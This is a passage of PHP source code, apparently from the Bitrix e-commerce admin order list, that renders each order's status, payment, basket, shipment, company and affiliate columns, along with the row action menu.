if(!isset($LOCAL_STATUS_CACHE[$arOrder["STATUS_ID"]])
|| empty($LOCAL_STATUS_CACHE[$arOrder["STATUS_ID"]]))
{
$arStatus = StatusTable::getList(array(
'select' => array(
'NAME' => 'Bitrix\Sale\Internals\StatusLangTable:STATUS.NAME',
'COLOR'
),
'filter' => array(
'=ID' => $arOrder["STATUS_ID"],
'=Bitrix\Sale\Internals\StatusLangTable:STATUS.LID' => LANGUAGE_ID,
'=TYPE' => 'O'
),
'limit' => 1,
))->fetch();
if($arStatus)
{
$LOCAL_STATUS_CACHE[$arOrder["STATUS_ID"]]['NAME'] = htmlspecialcharsbx($arStatus["NAME"]);
$LOCAL_STATUS_CACHE[$arOrder["STATUS_ID"]]['COLOR'] = htmlspecialcharsbx($arStatus["COLOR"]);
}
}
$fieldValueTmp .= "[";
if($saleModulePermissions >= "W")
$fieldValueTmp .= '<a href="/bitrix/admin/sale_status_edit.php?ID='.$arOrder["STATUS_ID"].'&lang='.LANGUAGE_ID.'">';
$fieldValueTmp .= $arOrder["STATUS_ID"];
if($saleModulePermissions >= "W")
$fieldValueTmp .= "</a>";
$fieldValue = '<span id="status_order_'.$arOrder["ID"].'">'.$LOCAL_STATUS_CACHE[$arOrder["STATUS_ID"]]['NAME'].'</span>';
$fieldValueTmp .= "] ".$LOCAL_STATUS_CACHE[$arOrder["STATUS_ID"]]['NAME'];
$colorRGB = array();
$colorRGB = sscanf($LOCAL_STATUS_CACHE[$arOrder["STATUS_ID"]]['COLOR'], "#%02x%02x%02x");
if (count($colorRGB))
{
$color = "background:rgba(".$colorRGB[0].",".$colorRGB[1].",".$colorRGB[2].",0.6);";
$fieldValue = '<div style= "'.$color.'
margin: 0 0 0 -16px;
padding: 11px 10px 10px 16px;
min-height: 100%;
">'.$fieldValue."</div>";
}
if(IntVal($arOrder["EMP_STATUS_ID"]) > 0)
$fieldValueTmp .= '<br />'.$formattedUserNames[$arOrder["EMP_STATUS_ID"]];
if(!$bExport)
{
$sScript .= "
new top.BX.CHint({
parent: top.BX('status_order_".$arOrder["ID"]."'),
show_timeout: 10,
hide_timeout: 100,
dx: 2,
preventHide: true,
min_width: 250,
hint: '".CUtil::JSEscape($fieldValueTmp)."'
});
";
}
}
$row->AddField("STATUS_ID", $fieldValue, true);
}
else
{
if($row->VarsFromForm() && $_REQUEST["FIELDS"])
$val = $_REQUEST["FIELDS"][$orderId]["STATUS_ID"];
else
$val = $arOrder['STATUS_ID'];
static $proxyStatusList = array();
$arStatusList = Array();
if (array_key_exists($USER->GetID(), $proxyStatusList))
{
$arStatusList = $proxyStatusList[$USER->GetID()];
}
else
{
$statusesList = \Bitrix\Sale\OrderStatus::getAllowedUserStatuses(
$USER->GetID(),
\Bitrix\Sale\OrderStatus::getInitialStatus()
);
$proxyStatusList[$USER->GetID()] = $statusesList;
}
foreach($statusesList as $statusId => $statusName)
$arStatusList[$statusId] = "[".$statusId."] ".$statusName;
$row->AddSelectField("STATUS_ID", $arStatusList);
}
}
$row->AddField("PRICE_DELIVERY", '<span style="white-space:nowrap;">'.SaleFormatCurrency($arOrder["PRICE_DELIVERY"], $arOrder["CURRENCY"]).'</span>');
//MARKED
$fieldValue = "";
if(in_array("MARKED", $arVisibleColumns))
{
$fieldValue .= '<span id="MARKED_'.$arOrder['ID'].'" style="'.(($arOrder["MARKED"] == "Y") ? "color: #ff2400;" : "").'" >'.(($arOrder["MARKED"] == "Y") ? Loc::getMessage("SO_YES") : Loc::getMessage("SO_NO"))."</span>";
$fieldValueTmp = $arOrder["DATE_MARKED"];
if(strlen($arOrder["DATE_MARKED"]) > 0)
{
if(IntVal($arOrder["EMP_MARKED_ID"]) > 0)
$fieldValueTmp .= '<br />'.$formattedUserNames[$arOrder["EMP_MARKED_ID"]];
if($arOrder["MARKED"] == "Y" && isset($arOrder["REASON_MARKED"]) && strlen($arOrder["REASON_MARKED"]) > 0)
{
$fieldValueTmp .= "<br/>".$arOrder["REASON_MARKED"];
}
if(!$bExport)
{
$sScript .= "
new top.BX.CHint({
parent: top.BX('MARKED_".$arOrder["ID"]."'),
show_timeout: 10,
hide_timeout: 100,
dx: 2,
preventHide: true,
min_width: 250,
hint: '".CUtil::JSEscape($fieldValueTmp)."'
});
";
}
}
}
$row->AddField("MARKED", $fieldValue);
$fieldValue = "";
if(in_array("REASON_MARKED", $arVisibleColumns))
$fieldValue = '<span id="REASON_MARKED_'.$arOrder["ID"].'" style="'.(($arOrder["MARKED"] == "Y") ? "color: #ff2400;" : "").'" >'.(($arOrder["MARKED"] == "Y") ? htmlspecialcharsbx($arOrder["REASON_MARKED"]) : "")."</span>";
$row->AddField("REASON_MARKED", $fieldValue);
$row->AddField("PRICE", '<span style="white-space:nowrap;">'.SaleFormatCurrency($arOrder["PRICE"], $arOrder["CURRENCY"]).'</span>');
$row->AddField("SUM_PAID", '<span style="white-space:nowrap;">'.SaleFormatCurrency($arOrder["SUM_PAID"], $arOrder["CURRENCY"]).'</span>');
$fieldValue = "";
if(in_array("USER", $arVisibleColumns))
$fieldValue = GetFormatedUserName($arOrder["USER_ID"], false, false);
$row->AddField("USER", $fieldValue);
$paySystemsFields = array("PAY_SYSTEM_ID", "PAY_SYSTEM", "PAYMENTS", "PAY_VOUCHER_NUM", "PAY_VOUCHER_DATE", "PS_STATUS", "PS_SUM");
$shipmentFields = array_intersect($arVisibleColumns, $paySystemsFields);
if(!empty($shipmentFields))
{
$payments = array();
/** @var \Bitrix\Main\DB\Result $res */
$res = \Bitrix\Sale\Internals\PaymentTable::getList(array(
'order' => array('ID' => 'ASC'),
'filter' => array('ORDER_ID' => $arOrder['ID'])
));
while($payment = $res->fetch())
{
$payment["ID_LINKED"] = '[<a href="/bitrix/admin/sale_order_payment_edit.php?order_id='.$arOrder['ID'].'&payment_id='.$payment["ID"].'&lang='.LANGUAGE_ID.'">'.$payment["ID"].'</a>]';
$payments[] = $payment;
}
unset($payment, $res);
//PAYMENTS
$fieldValue = "";
if(in_array("PAYMENTS", $arVisibleColumns))
{
$paymentCount = count($payments);
foreach($payments as $payment)
{
if ($saleModulePermissions == 'P')
{
$isPaymentUserResponsible = false;
if ($arOrder['RESPONSIBLE_ID'] == $USER->GetID()
|| $payment['RESPONSIBLE_ID'] == $USER->GetID())
{
$isPaymentUserResponsible = true;
}
if (!$isPaymentUserResponsible && !in_array($payment['COMPANY_ID'], $userCompanyList))
{
$payment["PAY_SYSTEM_NAME"] = Loc::getMessage('SALE_ORDER_HIDDEN');
}
}
$fieldValue .= $payment["ID_LINKED"].", ".
htmlspecialcharsbx($payment["PAY_SYSTEM_NAME"]).", ".
($payment["PAID"] == "Y" ? Loc::getMessage("SOA_PAYMENTS_PAID") : Loc::getMessage("SOA_PAYMENTS_UNPAID")).", ".
(strlen($payment["PS_STATUS"]) > 0 ? Loc::getMessage("SOA_PAYMENTS_STATUS").": ".htmlspecialcharsbx($payment["PS_STATUS"]).", " : "").
'<span style="white-space:nowrap;">'.SaleFormatCurrency($payment["SUM"], $payment["CURRENCY"]).'</span>';
if($paymentCount > 1)
{
if ($bExport)
$fieldValue .= "<br>";
else
$fieldValue .= "<hr>";
}
}
}
$row->AddField("PAYMENTS", $fieldValue);
//PAY_SYSTEM
$fieldValue = "";
if(in_array("PAY_SYSTEM", $arVisibleColumns))
{
foreach($payments as $payment)
{
$tmp = "";
if($saleModulePermissions >= "W")
$tmp .= '<a href="/bitrix/admin/sale_pay_system_edit.php?ID='.$payment["PAY_SYSTEM_ID"].'&lang='.LANGUAGE_ID.'">';
$tmp .= htmlspecialcharsbx($payment["PAY_SYSTEM_NAME"]);
if($saleModulePermissions >= "W")
$tmp .= "</a>";
if(count($payments) > 1)
$fieldValue .= $payment["ID_LINKED"].", ".$tmp."<hr>";
else
$fieldValue .= $tmp;
}
}
$row->AddField("PAY_SYSTEM", $fieldValue);
//PAY_VOUCHER_NUM
$fieldValue = "";
if(in_array("PAY_VOUCHER_NUM", $arVisibleColumns))
{
foreach($payments as $payment)
{
$tmp = htmlspecialcharsbx($payment["PAY_VOUCHER_NUM"]);
if(count($payments) > 1)
$fieldValue .= $payment["ID_LINKED"].", ".$tmp."<hr>";
else
$fieldValue .= $tmp;
}
}
$row->AddField("PAY_VOUCHER_NUM", $fieldValue);
//PAY_VOUCHER_DATE
$fieldValue = "";
if(in_array("PAY_VOUCHER_DATE", $arVisibleColumns))
{
foreach($payments as $payment)
{
$tmp = $payment["PAY_VOUCHER_DATE"];
if(count($payments) > 1)
$fieldValue .= $payment["ID_LINKED"].", ".$tmp."<hr>";
else
$fieldValue .= $tmp;
}
}
$row->AddField("PAY_VOUCHER_DATE", $fieldValue);
//PS_STATUS
$fieldValue = "";
if(in_array("PS_STATUS", $arVisibleColumns))
{
foreach($payments as $payment)
{
$tmp = "";
if($payment["PS_STATUS"] == "Y")
$tmp = Loc::getMessage("SO_SUCCESS")."<br />".$payment["PS_RESPONSE_DATE"];
elseif($payment["PS_STATUS"] == "N")
$tmp = Loc::getMessage("SO_UNSUCCESS")."<br />".$payment["PS_RESPONSE_DATE"];
else
$tmp = Loc::getMessage("SO_NONE");
if(count($payments) > 1)
$fieldValue .= $payment["ID_LINKED"].", ".$tmp."<hr>";
else
$fieldValue .= $tmp;
}
}
$row->AddField("PS_STATUS", $fieldValue);
//PS_SUM
$fieldValue = "";
if(in_array("PS_SUM", $arVisibleColumns))
{
foreach($payments as $payment)
{
$tmp = '<span style="white-space:nowrap;">'.htmlspecialcharsbx(SaleFormatCurrency(floatval($payment["PS_SUM"]), $payment["PS_CURRENCY"])).'</span>';
if(count($payments) > 1)
$fieldValue .= $payment["ID_LINKED"].", ".$tmp."<hr>";
else
$fieldValue .= $tmp;
}
}
$row->AddField("PS_SUM", $fieldValue);
}
$row->AddField("DATE_UPDATE", $arOrder["DATE_UPDATE"]);
$row->AddField("TAX_VALUE", '<span style="white-space:nowrap;">'.SaleFormatCurrency($arOrder["TAX_VALUE"], $arOrder["CURRENCY"]).'</span>');
//BASKET POSITIONS
$fieldValue = "";
$fieldName = "";
$fieldQuantity = "";
$fieldProductID = "";
$fieldPrice = "";
$fieldWeight = "";
$fieldNotes = "";
$fieldDiscountPrice = "";
$fieldCatalogXML = "";
$fieldProductXML = "";
$fieldDiscountName = "";
$fieldDiscountValue = "";
$fieldVatRate = "";
if($bNeedBasket)
{
$bNeedLine = false;
$arElementId = array();
$parentItemFound = false;
foreach ($arBasketItems as $arItem)
{
$arElementId[] = $arItem["PRODUCT_ID"];
if(CSaleBasketHelper::isSetParent($arItem) || CSaleBasketHelper::isSetItem($arItem))
$parentItemFound = true;
}
if($parentItemFound === true && !empty($arBasketItems) && is_array($arBasketItems))
$arBasketItems = CSaleBasketHelper::reSortItems($arBasketItems);
$arBasketItems = getMeasures($arBasketItems);
$firstItem = true;
$separator = "";
foreach ($arBasketItems as $arItem)
{
$measure = (isset($arItem["MEASURE_TEXT"])) ? $arItem["MEASURE_TEXT"] : Loc::getMessage("SO_SHT");
if($firstItem)
$firstItem = false;
else
$bNeedLine = true;
if($bNeedLine)
{
if(!CSaleBasketHelper::isSetItem($arItem))
$separator = $basketSeparator;
else
$separator = $basketSetSeparator;
}
$fieldName .= $separator;
$fieldQuantity .= $separator;
$fieldProductID .= $separator;
$fieldPrice .= $separator;
$fieldWeight .= $separator;
$fieldNotes .= $separator;
$fieldDiscountPrice .= $separator;
$fieldCatalogXML .= $separator;
$fieldProductXML .= $separator;
$fieldDiscountValue .= $separator;
$fieldVatRate .= $separator;
$hidden = "";
$setItemClass = "";
$linkClass = "";
if(CSaleBasketHelper::isSetItem($arItem))
{
$hidden = 'style="display:none"';
$setItemClass = 'class="set_item_'.$arItem["SET_PARENT_ID"].'"';
$linkClass = "set-item-link-name";
}
$fieldValue .= "<div ".$hidden. " ".$setItemClass.">";
$fieldValue .= $bNeedLine ? $basketSeparator : '';
if($arItem['RECOMMENDATION'])
$fieldValue .= '<div class="bx-adm-bigdata-icon-medium-inner"></div>';
$fieldValue .= "[".$arItem["PRODUCT_ID"]."] ";
if(strpos($arItem["DETAIL_PAGE_URL"], "http") === false)
$url = "//".$serverName[$arOrder["LID"]].htmlspecialcharsBack($arItem["DETAIL_PAGE_URL"]);
else
$url = htmlspecialcharsBack($arItem["DETAIL_PAGE_URL"]);
if(strlen($arItem["DETAIL_PAGE_URL"]) > 0)
$fieldValue .= '<a href="'.htmlspecialcharsbx($url).'" class="'.$linkClass.'">';
$fieldValue .= htmlspecialcharsbx($arItem["NAME"]);
if(strlen($arItem["DETAIL_PAGE_URL"]) > 0)
$fieldValue .= "</a>";
$fieldValue .= " <nobr>(".Sale\BasketItem::formatQuantity($arItem["QUANTITY"])." ".htmlspecialcharsbx($measure).")</nobr>";
if($bShowBasketProps)
{
if (!empty($basketPropertyList[$arItem["ID"]]) && is_array($basketPropertyList[$arItem["ID"]]))
{
foreach ($basketPropertyList[$arItem["ID"]] as $prop)
{
$fieldValue .= "<div><small>".htmlspecialcharsbx($prop["NAME"]).": ".htmlspecialcharsbx($prop["VALUE"])."</small></div>";
}
}
}
if(CSaleBasketHelper::isSetParent($arItem))
{
$fieldValue .= '<div class="set-link-block">';
$fieldValue .= '<a class="dashed-link show-set-link" href="javascript:void(0);" id="set_toggle_link_'.$arItem["ID"].'" onclick="fToggleSetItems('.$arItem["ID"].')">'.Loc::getMessage("SOA_SHOW_SET")."</a>";
$fieldValue .= "</div>";
}
$fieldValue .= "</div>";
if(strlen($arItem["NAME"]) > 0)
{
$fieldName .= "<nobr>";
if(strlen($arItem["DETAIL_PAGE_URL"]) > 0)
$fieldName .= '<a href="'.$url.'">';
$fieldName .= htmlspecialcharsbx($arItem["NAME"]);
if(strlen($arItem["DETAIL_PAGE_URL"]) > 0)
$fieldName .= "</a>";
$fieldName .= "</nobr>";
}
else
$fieldName .= "<br />";
if(strlen($arItem["QUANTITY"]) > 0)
$fieldQuantity .= htmlspecialcharsbx(Sale\BasketItem::formatQuantity($arItem["QUANTITY"]))." ".htmlspecialcharsbx($measure);
else
$fieldQuantity .= "<br />";
if(strlen($arItem["PRODUCT_ID"]) > 0)
$fieldProductID .= htmlspecialcharsbx($arItem["PRODUCT_ID"]);
else
$fieldProductID .= "<br />";
if(strlen($arItem["PRICE"]) > 0)
$fieldPrice .= "<nobr>".SaleFormatCurrency($arItem["PRICE"], $arItem["CURRENCY"])."</nobr>";
else
$fieldPrice .= "<br />";
if(strlen($arItem["WEIGHT"]) > 0)
{
if((float)$WEIGHT_KOEF[$arOrder["LID"]] > 0)
$fieldWeightCalc = (float)($arItem["WEIGHT"]/$WEIGHT_KOEF[$arOrder["LID"]]);
else
$fieldWeightCalc = (float)$arItem["WEIGHT"];
if(!empty($arItem["QUANTITY"]))
{
$fieldWeightCalc *= $arItem["QUANTITY"];
}
$fieldWeight .= htmlspecialcharsbx(roundEx($fieldWeightCalc, SALE_WEIGHT_PRECISION).' '.$WEIGHT_UNIT[$arOrder["LID"]]);
}
else
$fieldWeight .= "<br />";
if(strlen($arItem["NOTES"]) > 0)
$fieldNotes .= $arItem["NOTES"];
else
$fieldNotes .= "<br />";
if(strlen($arItem["DISCOUNT_PRICE"]) > 0)
$fieldDiscountPrice .= "<nobr>".SaleFormatCurrency($arItem["DISCOUNT_PRICE"], $arItem["CURRENCY"])."</nobr>";
else
$fieldDiscountPrice .= "<br />";
if(strlen($arItem["CATALOG_XML_ID"]) > 0)
$fieldCatalogXML .= $arItem["CATALOG_XML_ID"];
else
$fieldCatalogXML .= "<br />";
if(strlen($arItem["PRODUCT_XML_ID"]) > 0)
$fieldProductXML .= $arItem["PRODUCT_XML_ID"];
else
$fieldProductXML .= "<br />";
if(strlen($arItem["DISCOUNT_VALUE"]) > 0)
{
$fieldDiscountValue .= roundEx($arItem["DISCOUNT_VALUE"], 2);
if(strpos($arItem["DISCOUNT_VALUE"], "%") !== false)
$fieldDiscountValue .= "%";
}
else
$fieldDiscountValue .= "<br />";
if(strlen($arItem["VAT_RATE"]) > 0)
$fieldVatRate .= $arItem["VAT_RATE"];
else
$fieldVatRate .= "<br />";
}
unset($arItem);
}
$row->AddField("BASKET", $fieldValue);
$row->AddField("BASKET_NAME", $fieldName);
$row->AddField("BASKET_QUANTITY", $fieldQuantity);
$row->AddField("BASKET_PRODUCT_ID", $fieldProductID);
$row->AddField("BASKET_PRICE", $fieldPrice);
$row->AddField("BASKET_WEIGHT", $fieldWeight);
$row->AddField("BASKET_NOTES", $fieldNotes);
$row->AddField("BASKET_DISCOUNT_PRICE", $fieldDiscountPrice);
$row->AddField("BASKET_CATALOG_XML_ID", $fieldCatalogXML);
$row->AddField("BASKET_PRODUCT_XML_ID", $fieldProductXML);
$row->AddField("BASKET_DISCOUNT_VALUE", $fieldDiscountValue);
$row->AddField("BASKET_VAT_RATE", $fieldVatRate);
if($bNeedProps)
{
/** @var \Bitrix\Sale\Order $propOrder */
$propOrder = \Bitrix\Sale\Order::load($arOrder["ID"]);
/** @var Bitrix\Sale\PropertyValue $property */
foreach($propOrder->getPropertyCollection() as $property)
{
$code = $property->getField("CODE");
$colName = "PROP_".(strlen($code) > 0 ? $code : $property->getField("ORDER_PROPS_ID"));
$row->AddField($colName, $property->getViewHtml());
}
}
else
{
foreach (($arOrderProps + $arOrderPropsCode) as $key => $value)
$row->AddField("PROP_".$key, "");
}
$row->AddField("EXTERNAL_ORDER", ($arOrder["EXTERNAL_ORDER"] !="Y" ? Loc::getMessage("SO_NO") : Loc::getMessage("SO_YES")));
//SHIPMENTS etc.
$shipmentFields = array("SHIPMENTS", "ALLOW_DELIVERY", "DATE_ALLOW_DELIVERY", "DELIVERY", "DEDUCTED", "DELIVERY_DOC_NUM", "DELIVERY_DOC_DATE", "TRACKING_NUMBER");
$shipmentFields = array_intersect($arVisibleColumns, $shipmentFields);
if(!empty($shipmentFields))
{
$shipments = array();
$res = \Bitrix\Sale\Internals\ShipmentTable::getList(array(
'order' => array('ID' => 'ASC'),
'filter' => array('ORDER_ID' => $arOrder['ID'], '!=SYSTEM' => 'Y')
));
while($shipment = $res->fetch())
{
$shipment["ID_LINKED"] = '[<a href="/bitrix/admin/sale_order_shipment_edit.php?order_id='.$arOrder['ID'].'&shipment_id='.$shipment["ID"].'&lang='.LANGUAGE_ID.'" title="'.Loc::getMessage('SALE_O_SHIPMENT_ID_TITLE', array('#SHIPMENT_ID#' => $shipment["ID"])).'">'.$shipment["ID"].'</a>]';
$shipments[] = $shipment;
}
if(in_array("SHIPMENTS", $arVisibleColumns))
{
$fieldValue = "";
if (empty($shipmentStatuses))
{
$dbRes = StatusTable::getList(array(
'select' => array('ID', 'NAME' => 'Bitrix\Sale\Internals\StatusLangTable:STATUS.NAME'),
'filter' => array(
'=Bitrix\Sale\Internals\StatusLangTable:STATUS.LID' => LANGUAGE_ID,
'=TYPE' => 'D'
),
));
while ($shipmentStatus = $dbRes->fetch())
$shipmentStatuses[$shipmentStatus["ID"]] = $shipmentStatus["NAME"]." [".$shipmentStatus["ID"]."]";
}
$shipmentCount = count($shipments);
foreach($shipments as $shipment)
{
if ($saleModulePermissions == 'P')
{
$isShipmentUserResponsible = false;
if ($arOrder['RESPONSIBLE_ID'] == $USER->GetID()
|| $shipment['RESPONSIBLE_ID'] == $USER->GetID())
{
$isShipmentUserResponsible = true;
}
if (!$isShipmentUserResponsible && !in_array($shipment['COMPANY_ID'], $userCompanyList))
{
$shipment["DELIVERY_NAME"] = Loc::getMessage('SALE_ORDER_HIDDEN');
$shipment["TRACKING_NUMBER"] = Loc::getMessage('SALE_ORDER_HIDDEN');
}
}
$fieldValue .= $shipment["ID_LINKED"].", ".
(strlen($shipment["DELIVERY_NAME"]) > 0 ? htmlspecialcharsbx($shipment["DELIVERY_NAME"]).", " : "").
'<span style="white-space:nowrap;">'.SaleFormatCurrency($shipment["PRICE_DELIVERY"], $shipment["CURRENCY"])."</span>, ".
($shipment["ALLOW_DELIVERY"] == "Y" ? Loc::getMessage("SOA_SHIPMENTS_ALLOW_DELIVERY") : Loc::getMessage("SOA_SHIPMENTS_NOT_ALLOW_DELIVERY")).", ".
($shipment["CANCELED"] == "Y" ? Loc::getMessage("SOA_SHIPMENTS_CANCELED").", " : "").
($shipment["DEDUCTED"] == "Y" ? Loc::getMessage("SOA_SHIPMENTS_DEDUCTED").", " : "").
($shipment["MARKED"] == "Y" ? Loc::getMessage("SOA_SHIPMENTS_MARKED").", " : "").
(strlen($shipment["TRACKING_NUMBER"]) > 0 ? htmlspecialcharsbx($shipment["TRACKING_NUMBER"]).", " : "");
if(strlen($shipment["STATUS_ID"]) > 0)
$fieldValue .= $shipmentStatuses[$shipment["STATUS_ID"]] ? htmlspecialcharsbx($shipmentStatuses[$shipment["STATUS_ID"]]) : Loc::getMessage("SOA_SHIPMENTS_STATUS").": ".$shipment["STATUS_ID"];
if($shipmentCount > 1)
{
if ($bExport)
$fieldValue .= "<br>";
else
$fieldValue .= "<hr>";
}
}
$row->AddField("SHIPMENTS", $fieldValue);
}
$fieldValue = '';
foreach($shipments as $shipment)
if(!empty($shipment["TRACKING_NUMBER"]))
$fieldValue .= htmlspecialcharsbx($shipment["TRACKING_NUMBER"])."<br>";
$row->AddField("TRACKING_NUMBER", $fieldValue);
//ALLOW_DELIVERY
$fieldValue = "";
if(in_array("ALLOW_DELIVERY", $arVisibleColumns))
{
foreach($shipments as $shipment)
{
$tmp = '<span id="allow_deliv_'.$shipment["ID"].'">'.(($shipment["ALLOW_DELIVERY"] == "Y") ? Loc::getMessage("SO_YES") : Loc::getMessage("SO_NO"))."</span>";
if(count($shipments) > 1)
$fieldValue .= $shipment["ID_LINKED"]." ".$tmp."<hr>";
else
$fieldValue .= $tmp;
$fieldValueTmp = $shipment["DATE_ALLOW_DELIVERY"];
if(strlen($shipment["DATE_ALLOW_DELIVERY"]) > 0)
{
if(IntVal($shipment["EMP_ALLOW_DELIVERY_ID"]) > 0)
$fieldValueTmp .= '<br />'.$formattedUserNames[$shipment["EMP_ALLOW_DELIVERY_ID"]];
if(!$bExport)
{
$sScript .= "
new top.BX.CHint({
parent: top.BX('allow_deliv_".$shipment["ID"]."'),
show_timeout: 10,
hide_timeout: 100,
dx: 2,
preventHide: true,
min_width: 250,
hint: '".CUtil::JSEscape($fieldValueTmp)."'
});
";
}
}
$row->AddField("ALLOW_DELIVERY", $fieldValue);
}
}
//DATE_ALLOW_DELIVERY
$fieldValue = "";
foreach($shipments as $shipment)
{
$tmp = strlen($shipment["DATE_ALLOW_DELIVERY"]) > 0 ? $shipment["DATE_ALLOW_DELIVERY"] : Loc::getMessage("SO_NO");
if(count($shipments) > 1)
$fieldValue .= $shipment["ID_LINKED"]." ".$tmp."<hr>";
else
$fieldValue .= $tmp;
}
$row->AddField("DATE_ALLOW_DELIVERY", $fieldValue);
//DELIVERY
$fieldValue = "";
if(in_array("DELIVERY", $arVisibleColumns))
{
foreach($shipments as $shipment)
{
$tmp = "";
if($saleModulePermissions >= "W")
$tmp .= '<a href="/bitrix/admin/sale_delivery_service_edit.php?ID='.$shipment["DELIVERY_ID"].'&lang='.LANGUAGE_ID.'">';
$tmp .= htmlspecialcharsbx($shipment["DELIVERY_NAME"]);
if($saleModulePermissions >= "W")
$tmp .= "</a>";
if(count($shipments) > 1)
$fieldValue .= $shipment["ID_LINKED"]." ".$tmp."<hr>";
else
$fieldValue .= $tmp;
}
}
$row->AddField("DELIVERY", $fieldValue);
//DEDUCTED
$fieldValue = "";
if(in_array("DEDUCTED", $arVisibleColumns))
{
foreach($shipments as $shipment)
{
$tmp = '<span id="DEDUCTED_'.$shipment["ID"].'">'.(($shipment["DEDUCTED"] == "Y") ? Loc::getMessage("SO_YES") : Loc::getMessage("SO_NO"))."</span>";
$fieldValue .= $shipment["ID_LINKED"]." ".$tmp;
if(count($shipments) > 1)
$fieldValue .= "<hr>";
$fieldValueTmp = $shipment["DATE_DEDUCTED"];
if(strlen($shipment["DATE_DEDUCTED"]) > 0)
{
if(IntVal($shipment["EMP_DEDUCTED_ID"]) > 0)
$fieldValueTmp .= '<br />'.$formattedUserNames[$shipment["EMP_DEDUCTED_ID"]];
if(!$bExport)
{
$sScript .= "
new top.BX.CHint({
parent: top.BX('DEDUCTED_".$shipment["ID"]."'),
show_timeout: 10,
hide_timeout: 100,
dx: 2,
preventHide: true,
min_width: 250,
hint: '".CUtil::JSEscape($fieldValueTmp)."'
});
";
}
}
}
}
$row->AddField("DEDUCTED", $fieldValue);
//DELIVERY_DOC_NUM
$fieldValue = "";
foreach($shipments as $shipment)
{
$tmp = strlen($shipment["DELIVERY_DOC_NUM"]) > 0 ? htmlspecialcharsbx($shipment["DELIVERY_DOC_NUM"]) : Loc::getMessage("SO_NO");
if(count($shipments) > 1)
$fieldValue .= $shipment["ID_LINKED"]." ".$tmp."<hr>";
else
$fieldValue .= $tmp;
}
$row->AddField("DELIVERY_DOC_NUM", $fieldValue);
//DELIVERY_DOC_DATE
$fieldValue = "";
foreach($shipments as $shipment)
{
$tmp = strlen($shipment["DELIVERY_DOC_DATE"]) > 0 ? $shipment["DELIVERY_DOC_DATE"] : Loc::getMessage("SO_NO");
if(count($shipments) > 1)
$fieldValue .= $shipment["ID_LINKED"]." ".$tmp."<hr>";
else
$fieldValue .= $tmp;
}
$row->AddField("DELIVERY_DOC_DATE", $fieldValue);
}
$row->AddViewField('BASKET_DISCOUNT_COUPON', ' ');
$row->AddViewField('BASKET_DISCOUNT_NAME', ' ');
$row->AddViewField("SOURCE_NAME", '<span style="white-space:nowrap;">'.htmlspecialcharsbx($arOrder["SOURCE_NAME"]).'</span>');
//COMPANY_ID
$fieldValue = "";
if(in_array("COMPANY_ID", $arVisibleColumns) && intval($arOrder["COMPANY_ID"]) > 0)
{
$companyId = intval($arOrder["COMPANY_ID"]);
$companyName = isset($companyListNames[$companyId]) ? ' '.$companyListNames[$companyId] : '';
$fieldValue = "[";
if($saleModulePermissions >= "W")
$fieldValue .= '<a href="/bitrix/admin/sale_company_edit.php?lang='.LANGUAGE_ID.'&ID='.$companyId.'">';
$fieldValue .= $companyId;
if($saleModulePermissions >= "W")
$fieldValue .= "</a>";
$fieldValue .= ']'.$companyName;
}
$row->AddField("COMPANY_ID", $fieldValue);
//RESPONSIBLE_ID
$fieldValue = "";
if(in_array("RESPONSIBLE_ID", $arVisibleColumns))
{
if(intval($arOrder["RESPONSIBLE_ID"]) > 0)
$fieldValue = $formattedUserNames[$arOrder["RESPONSIBLE_ID"]];
}
$row->AddField("RESPONSIBLE_ID", $fieldValue);
//AFFILIATE
$fieldValue = "";
if(in_array("AFFILIATE_ID", $arVisibleColumns) && intval($arOrder["AFFILIATE_ID"]) > 0)
{
$affiliateId = intval($arOrder["AFFILIATE_ID"]);
if (isset($affiliateCache[$affiliateId]))
{
$fieldValue = $affiliateCache[$affiliateId];
}
else
{
$affiliateRes = \CSaleAffiliate::GetList(
array(),
array("ID" => $affiliateId),
false,
false,
array("ID", "USER_ID")
);
if($affiliateData = $affiliateRes->Fetch())
{
if (isset($formattedUserNames[$affiliateData["USER_ID"]]))
{
$fieldValue = $formattedUserNames[$affiliateData["USER_ID"]];
}
else
{
$fieldValue = GetFormatedUserName($affiliateData["USER_ID"], false, false);
$formattedUserNames[$affiliateData["USER_ID"]] = $fieldValue;
}
$affiliateCache[$affiliateId] = $fieldValue;
}
}
}
$row->AddField("AFFILIATE_ID", $fieldValue);
$arActions = array();
if(($arOrder['LOCK_STATUS'] == "red" && $saleModulePermissions >= "W") || $arOrder['LOCK_STATUS'] == "yellow")
{
$arActions[] = array(
"ICON" => "unlock",
"TEXT" => Loc::getMessage("IBEL_A_UNLOCK"),
"TITLE" => Loc::getMessage("IBLOCK_UNLOCK_ALT"),
"ACTION" => $lAdmin->ActionDoGroup($arOrder["ID"], "unlock", '')
);
$arActions[] = array("SEPARATOR" => true);
}
$arActions[] = array("ICON"=>"view", "TEXT"=>Loc::getMessage("SALE_DETAIL_DESCR"), "ACTION"=>$lAdmin->ActionRedirect("sale_order_view.php?ID=".$orderId."&lang=".LANGUAGE_ID.GetFilterParams("filter_")), "DEFAULT"=>true);
$arActions[] = array("ICON"=>"copy", "TEXT"=>Loc::getMessage("SOA_ORDER_COPY"), "ACTION"=>$lAdmin->ActionRedirect("sale_order_create.php?ID=".$orderId."&lang=".LANGUAGE_ID."&".'SITE_ID='.$arOrder['LID'].'&'.bitrix_sessid_get().GetFilterParams("filter_")));
$arActions[] = array("ICON"=>"print", "TEXT"=>Loc::getMessage("SALE_PRINT_DESCR"), "ACTION"=>$lAdmin->ActionRedirect("sale_order_print.php?ID=".$orderId."&lang=".LANGUAGE_ID.GetFilterParams("filter_")));
if($arOrder['LOCK_STATUS'] != "red")
{
if($saleModulePermissions >= "W" || !empty($permDeleteOrderList[$orderId]))
$arActions[] = array("ICON"=>"", "TEXT"=>Loc::getMessage("SOAN_LIST_ARCHIVE"), "ACTION"=>"if(confirm('".Loc::getMessage('SALE_CONFIRM_ARCHIVE_MESSAGE')."')) ".$lAdmin->ActionDoGroup($arOrder['ID'], 'archive'));
if (!empty($permUpdateOrderList[$orderId]))
{
$arActions[] = array("ICON"=>"edit", "TEXT"=>Loc::getMessage("SALE_OEDIT_DESCR"), "ACTION"=>$lAdmin->ActionRedirect("sale_order_edit.php?ID=".$orderId."&lang=".LANGUAGE_ID.GetFilterParams("filter_")));
}
if($saleModulePermissions == "W"
|| $arOrder["PAYED"] != "Y" && !empty($permDeleteOrderList[$orderId]))
{
$arActions[] = array("SEPARATOR" => true);
